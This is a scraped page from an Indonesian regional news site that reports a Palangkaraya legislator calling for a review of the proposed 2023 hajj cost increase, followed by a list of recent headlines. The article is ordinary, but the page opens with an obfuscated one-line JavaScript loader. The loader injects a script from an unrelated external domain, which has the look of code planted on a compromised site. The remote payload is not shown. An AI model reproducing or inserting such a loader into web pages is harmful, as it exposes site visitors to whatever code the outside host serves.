(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Palangkaraya

Wakil Rakyat dari Perindo Ini Minta Kenaikan Biaya Haji Dikaji Ulang


KANALKALIMANTAN.COM, PALANGKARAYA – Pemerintah mengusulkan kenaikan Biaya Perjalanan Ibadah Haji (BPIH) tahun 1444 hijriyah/2023 masehi. Adanya rencana kenaikan biaya haji ini mendapat sorotan banyak pihak di berbagai daerah, termasuk legislator di Kota Palangkaraya.

“Kenaikan BPIH ini tentu menjadi dilema bagi masyarakat. Terutama mereka yang sudah merencanakan untuk menjadi calon jemaah haji. Kenaikan biaya yang diusulkan pemerintah sebaiknya dikaji ulang dengan pertimbangan,” kata Wakil Ketua I Komisi C DPRD Palangkaraya, Ruselita.

Melihat rencana kenaikan BPIH, biaya yang harus dibayarkan calon jemaah pada 2022 adalah Rp 39.886.009. Namun, kemudian BPIH 2023 diusulkan Kementerian Agama (Kemenag) menjadi Rp 69.193.733.

“Mengacu rincian rencana kenaikan BPIH ini maka artinya, kenaikan dari Rp 39 juta ke Rp 69 juta hampir 77 persen, atau kisaran kenaikan sebesar Rp 30 juta. Kenaikan ini tentu akan membebani masyarakat,” ungkapnya.

 

Baca juga: Sejarah Masjid Bani Al Ahdal Gunung Ronggeng, Dulu Guru Sekumpul Salat Jumat, Sekarang Kedua Puteranya

Hal yang harus dipertimbangkan lagi kata politisi Partai Perindo ini, ekonomi masyarakat saat ini masih sulit atau belum pulih sepenuhnya akibat dari terpaan pandemi Covid-19.

Sementara itu, masyarakat yang berniat menjadi calon jemaah haji, tentunya sudah melakukan persiapan dengan menabung puluhan tahun lamanya, serta berharap ketika mendapat giliran berangkat haji tinggal hanya menambah sedikit saja biaya.

Dengan adanya wacana kenaikan BPIH ini tentu mereka terpaksa harus bekerja keras guna mencari dan menambah lagi biaya yang diperlukan.

“Kita berharap agar wacana kenaikan BPIH ini bisa dikaji ulang. Apapun keputusan pemerintah jangan sampai memberatkan masyarakat. Terlebih ibadah haji ini merupakan bagian dari rukun Islam yang sangat didambakan umat muslim,” pungkasnya. (Kanalkalimantan.com/tri)

Reporter : tri
Editor : kk


Risa

Recent Posts

Efisiensi Anggaran Pemko Banjarbaru, Sekda: Harus Memberi Manfaat Langsung ke Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More

20 menit ago

Dinas PUPR Balangan Perbaiki Jalan Muara Pitap – Lingsir

KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More

50 menit ago

Mahasiswa Profesi Ners ULM Penyuluhan KB di Desa Sungai Asam

KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More

1 jam ago

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

13 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

13 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

14 jam ago

This website uses cookies.